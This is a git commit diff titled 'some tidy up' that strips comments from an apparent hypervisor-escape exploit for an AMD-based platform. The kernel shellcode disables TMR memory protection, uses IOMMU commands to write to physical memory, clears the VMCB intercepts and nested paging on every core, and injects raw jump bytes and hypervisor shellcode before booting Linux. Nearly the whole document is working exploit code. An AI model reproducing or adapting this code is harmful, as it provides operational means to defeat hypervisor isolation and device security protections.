some tidy up

2026-07-16 10:10:40 +00:00 · 2026-05-13 09:37:44 +02:00
parent 8e60126031
commit 01436f0a6b
13 changed files with 180 additions and 236 deletions
--- a/shellcode_kernel/kernel_code.c
+++ b/shellcode_kernel/kernel_code.c
@@ -9,11 +9,11 @@
 #define TRANSMITTER_CONTROL_ENABLE 1
 #define TRANSMITTER_CONTROL_SET_VOLTAGE_AND_PREEMPASIS 11

-int (*transmitter_control)(int cmd, void *control) = NULL;  // Filled by main.c
-int (*mp3_initialize)(int vmid) = NULL;                     // Filled by main.c
-int (*mp3_invoke)(int cmd_id, void *req, void *rsp) = NULL; // Filled by main.c
+int (*transmitter_control)(int cmd, void *control) = NULL;
+int (*mp3_initialize)(int vmid) = NULL;
+int (*mp3_invoke)(int cmd_id, void *req, void *rsp) = NULL;

-uint64_t g_vbios; // Filled by main.c
+uint64_t g_vbios;

 typedef struct {
  uint8_t lanenum;
@@ -95,39 +95,31 @@ static int mp3_enable_output(int be, int mode) {

 static void patch_hv(void) {

-  // Install identity map for HV
-  // HV Shellcode 1 it's updating CR3
-  uint64_t identity_cr3 = cave_hv_paging; // P, RW, US=0
-  uint64_t identity_pml4_0 =
-      identity_cr3 +
-      0x1003ULL; // P, RW, US=0 - 512GB // offset 0 +0x1000 from PML4
-  uint64_t l40_l3_addr = PAGE_PA(identity_pml4_0); // addr PML4[0]
+  uint64_t identity_cr3 = cave_hv_paging;
+  uint64_t identity_pml4_0 = identity_cr3 + 0x1003ULL;
+  uint64_t l40_l3_addr = PAGE_PA(identity_pml4_0);
  uint64_t identity_pml40_l3[] = {
-      0x0000000000000083, // P, RW, US=0 - 0 GB to 1 GB
-      0x0000000040000083, // P, RW, US=0 - 1 GB to 2 GB
-      0x0000000080000083, // P, RW, US=0 - 3 GB to 3 GB
-      0x00000000C0000083, // P, RW, US=0 - 4 GB to 4 GB
-      0x0000000100000083  // P, RW, US=0 - 5 GB to 6 GB --> Our paging structure
+      0x0000000000000083,
+      0x0000000040000083,
+      0x0000000080000083,
+      0x00000000C0000083,
+      0x0000000100000083
  };
  uint64_t l3_size = sizeof(identity_pml40_l3) / sizeof(identity_pml40_l3[0]);

-  // Create the map in memory
  *(uint64_t *)PHYS_TO_DMAP(identity_cr3) = identity_pml4_0;
  for (uint64_t i = 0; i < l3_size; i++) {
    *(uint64_t *)PHYS_TO_DMAP(l40_l3_addr + i * 8) = identity_pml40_l3[i];
  }

-  // Install hv_shellcode 2
  memcpy((void *)PHYS_TO_DMAP(cave_hv_code), shellcode_hypervisor,
         shellcode_hypervisor_len);

-  // Jump to shellcode final identity mapping
  uint8_t shellcode_jmp[] = {
-      0x48, 0xC7, 0xC0, 0x00, 0x6F, 0x80, 0x62, // mov rax, 0x62806f00
-      0xFF, 0xE0, 0xC3, 0xC3, 0xC3, 0xC3, 0xC3, // jmp rax
+      0x48, 0xC7, 0xC0, 0x00, 0x6F, 0x80, 0x62,
+      0xFF, 0xE0, 0xC3, 0xC3, 0xC3, 0xC3, 0xC3,
      0xC3, 0xC3};

-  // Update code cave in hv 1:1 region
  *(uint32_t *)(&shellcode_jmp[3]) = (uint32_t)args.hv_code_cave_pa;

  // Just patch the VMEXIT handler directly, avoiding all checks
@@ -143,12 +135,9 @@ static void patch_hv(void) {
      0xFF, 0xE0                    // jmp    rax
  };

-  // Update CR3 PA (from config)
  *(uint64_t *)(&shellcode_identity_and_jmp[2]) = cave_hv_paging;
-  // Update HV shellcode cave
  *(uint64_t *)(&shellcode_identity_and_jmp[15]) = cave_hv_code;

-  // Install shellcode 1 to update CR3 and jump to main HV shellcode
  memcpy((void *)PHYS_TO_DMAP(args.hv_code_cave_pa), shellcode_identity_and_jmp,
         sizeof(shellcode_identity_and_jmp));
 }
--- a/shellcode_kernel/main.c
+++ b/shellcode_kernel/main.c
@@ -3,19 +3,11 @@
 #include "utils.h"
 #include <stdint.h>

-#define MSR_EFER 0xC0000080
+shellcode_kernel_args args = {0};

-shellcode_kernel_args args = {
-    .fw_version = 0xDEADBEEF, .fun_printf = 0x0, .vmcb = {0}};
-
-// We are being called instead of AcpiSetFirmwareWakingVector from
-// acpi_wakeup_machdep
 __attribute__((section(".entry_point"))) uint32_t main(uint64_t add1,
                                                       uint64_t add2) {

-  // We will do main checks on .text only with a reference to .data to avoid
-  // fixed offsets first After NPTs are disabled, we can continue nornmally
-  // using all the variables in .data that are embedded in shellcode
  volatile shellcode_kernel_args *args_ptr =
      (volatile shellcode_kernel_args
           *)0x11AA11AA11AA11AA; // To be replaced with proper address in .kdata
@@ -24,12 +16,10 @@ __attribute__((section(".entry_point"))) uint32_t main(uint64_t add1,
  // "Hide" the pointer from the optimizer
  __asm__ volatile("" : "+r"(args_ptr));

-  // We don't have required information - Abort
  if ((args_ptr->fun_printf & 0xFFFF) == 0) {
    goto out;
  }

-  // Activate UART on Kernel
  uint32_t *uart_va = (uint32_t *)(args_ptr->dmap_base + 0xC0115110ULL);
  *uart_va &= ~0x200;
  uint32_t *override_char_va = (uint32_t *)args_ptr->kernel_uart_override;
@@ -45,7 +35,6 @@ __attribute__((section(".entry_point"))) uint32_t main(uint64_t add1,
  uint64_t unk;
  int n_devices;

-  // Reconfigure IOMMU calling the HV
  int ret = ((uint64_t(*)(uint64_t, uint64_t, uint64_t, uint64_t,
                          int *))args_ptr->fun_hv_iommu_set_buffers)(
      iommu_cb2_pa, iommu_cb3_pa, iommu_eb_pa, (uint64_t) &unk, &n_devices);
@@ -65,7 +54,6 @@ __attribute__((section(".entry_point"))) uint32_t main(uint64_t add1,
    goto out;
  }

-  // Wait for completion
  ret = ((uint64_t(*)(void))args_ptr->fun_hv_iommu_wait_completion)();

  if (ret == 0) {
@@ -83,7 +71,6 @@ __attribute__((section(".entry_point"))) uint32_t main(uint64_t add1,
    putc_uart(args_ptr->dmap_base, 'K');
    putc_uart(args_ptr->dmap_base, '\n');

-    // Allow R/W on HV and Kernel area
    if (tmr_disable(args_ptr->dmap_base)) {

      putc_uart(args_ptr->dmap_base, 'T');
@@ -104,7 +91,6 @@ __attribute__((section(".entry_point"))) uint32_t main(uint64_t add1,
    putc_uart(args_ptr->dmap_base, 'K');
    putc_uart(args_ptr->dmap_base, '\n');

-    // Patch HV
    patch_vmcb(args_ptr);

    putc_uart(args_ptr->dmap_base, 'V');
@@ -145,9 +131,6 @@ __attribute__((section(".entry_point"))) uint32_t main(uint64_t add1,
    boot_linux();
    printf("Linux prepared OK\n");

-    // Activate HV UART - Not really needed but good for debugging
-    // *(uint32_t*)PHYS_TO_DMAP(args.hv_uart_override_pa) = 0x0;
-
    printf("Calling smp_rendezvous to exit all cores to HV with ptr: %016lx\n",
           (uint64_t)vmmcall_dummy);
    printf("Good Bye VM :)\n");
@@ -186,36 +169,28 @@ __attribute__((noinline, optimize("O0"), naked)) void vmmcall_dummy(void) {

 void halt(void) { __asm__ __volatile__("hlt"); }

-// Submit a single 16-byte command and wait for completion
 __attribute__((noinline, optimize("O0"))) void
 iommu_submit_cmd(volatile shellcode_kernel_args *args_ptr, uint64_t *cmd) {
-  // Read the offset of current tail of command list
+
  uint64_t curr_tail = *(
      (uint64_t *)args_ptr->iommu_mmio_va +
-      IOMMU_MMIO_CB_TAIL /
-          8); // Offset in IOMMU Command Buffer - Downscale the size of the ptr
-  uint64_t next_tail = (curr_tail + IOMMU_CMD_ENTRY_SIZE) &
-                       IOMMU_CB_MASK; // Offset in IOMMU Command Buffer
+      IOMMU_MMIO_CB_TAIL / 8);
+  uint64_t next_tail = (curr_tail + IOMMU_CMD_ENTRY_SIZE) & IOMMU_CB_MASK;

-  // We write the command in the current empty entry
  uint64_t *cmd_buffer =
-      (uint64_t *)args_ptr->iommu_cb2_va + curr_tail / 8; // Downscale the size of the ptr
-  // Copy 0x10 bytes (CMD Size)
+      (uint64_t *)args_ptr->iommu_cb2_va + curr_tail / 8;
  cmd_buffer[0] = cmd[0];
  cmd_buffer[1] = cmd[1];

  __asm__ volatile("" : : : "memory"); // Prevent reordering
  *((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8) =
-      next_tail; // Indicate the IOMMU that there is a CMD - Downscale the size
-                 // of the ptr
+      next_tail;

-  // Wait CMD processing completion - Head will be the Tail
  while (*((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_HEAD / 8) !=
         *((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8))
    ;
 }

-// Write 8 bytes to a physical address using IOMMU completion wait store
 __attribute__((noinline, optimize("O0"))) void
 iommu_write8_pa(volatile shellcode_kernel_args *args_ptr, uint64_t pa, uint64_t val) {
  uint32_t cmd[4] = {0};
@@ -230,26 +205,22 @@ __attribute__((noinline, optimize("O0"))) void
 patch_vmcb(volatile shellcode_kernel_args *args_ptr) {
  for (int i = 0; i < 16; i++) {
    uint64_t pa = args_ptr->vmcb[i];
-    // args_ptr->fun_printf("Patching core: %02d VMCB_PA: 0x%016lx\n", i,
-    // args_ptr->vmcb[i]);
+
    iommu_write8_pa(args_ptr, pa + 0x00,
-                    0x0000000000000000ULL); // Clear all intercepts (R/W) to
-                                            // CR0-CR15 and DR0-DR15
+                    0x0000000000000000ULL);
    iommu_write8_pa(args_ptr, pa + 0x08,
-                    0x0004000000000000ULL); // Clear all intercepts of except.
-                                            // vectors but CPUID
+                    0x0004000000000000ULL);
    iommu_write8_pa(args_ptr, pa + 0x10,
-                    0x000000000000000FULL); // Clear all except VMMCALL, VMLOAD,
-                                            // VMSAVE, VMRUN
+                    0x000000000000000FULL);
    iommu_write8_pa(args_ptr, pa + 0x58,
-                    0x0000000000000001ULL); // Guest ASID ... 1 ?
+                    0x0000000000000001ULL);
    iommu_write8_pa(args_ptr, pa + 0x90,
-                    0x0000000000000000ULL); // Disable NP_ENABLE
+                    0x0000000000000000ULL);
  }
 }

-__attribute__((noinline, optimize("O0"))) uint32_t tmr_read(uint64_t dmap,
-                                                            uint32_t addr) {
+__attribute__((noinline, optimize("O0")))
+uint32_t tmr_read(uint64_t dmap, uint32_t addr) {
  *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_INDEX_OFF) = addr;
  return *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_DATA_OFF);
 }
@@ -260,8 +231,6 @@ tmr_write(uint64_t dmap, uint32_t addr, uint32_t val) {
  *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_DATA_OFF) = val;
 }

-// On 1.xx and 2.xx the HV is embedded in kernel area on TMR 16
-// On 3.xx and 4.xx there are multiple TMR protecting HV and Kernel
 __attribute__((noinline, optimize("O0"))) int tmr_disable(uint64_t dmap) {
  for (int i = 0; i < 24; i++) {
    if (tmr_read(dmap, TMR_CONFIG(i)) != 0) {
@@ -282,7 +251,6 @@ void init_global_pointers(volatile shellcode_kernel_args *args_ptr) {
  smp_rendezvous = (void (*)(void (*)(void), void (*)(void),
                       void (*)(void), void *)) args.fun_smp_rendezvous;
  smp_no_rendevous_barrier = (void (*)(void)) args.fun_smp_no_rendevous_barrier;
-
  transmitter_control = (int (*) (int, void*)) args.fun_transmitter_control;
  mp3_initialize = (int (*) (int)) args.fun_mp3_initialize;
  mp3_invoke = (int (*) (int, void*, void*)) args.fun_mp3_invoke;
--- a/shellcode_kernel/utils.c
+++ b/shellcode_kernel/utils.c
@@ -16,9 +16,9 @@ void memcpy(void *dest, void *src, uint64_t len) {
 uint64_t read_cr3(void) {
  uint64_t cr3;
  __asm__ volatile("mov %%cr3, %0"
-                   : "=r"(cr3) // Output: move CR3 into the variable 'cr3'
-                   :           // No inputs
-                   :           // No clobbered registers
+                   : "=r"(cr3)
+                   :
+                   :
  );
  return cr3;
 }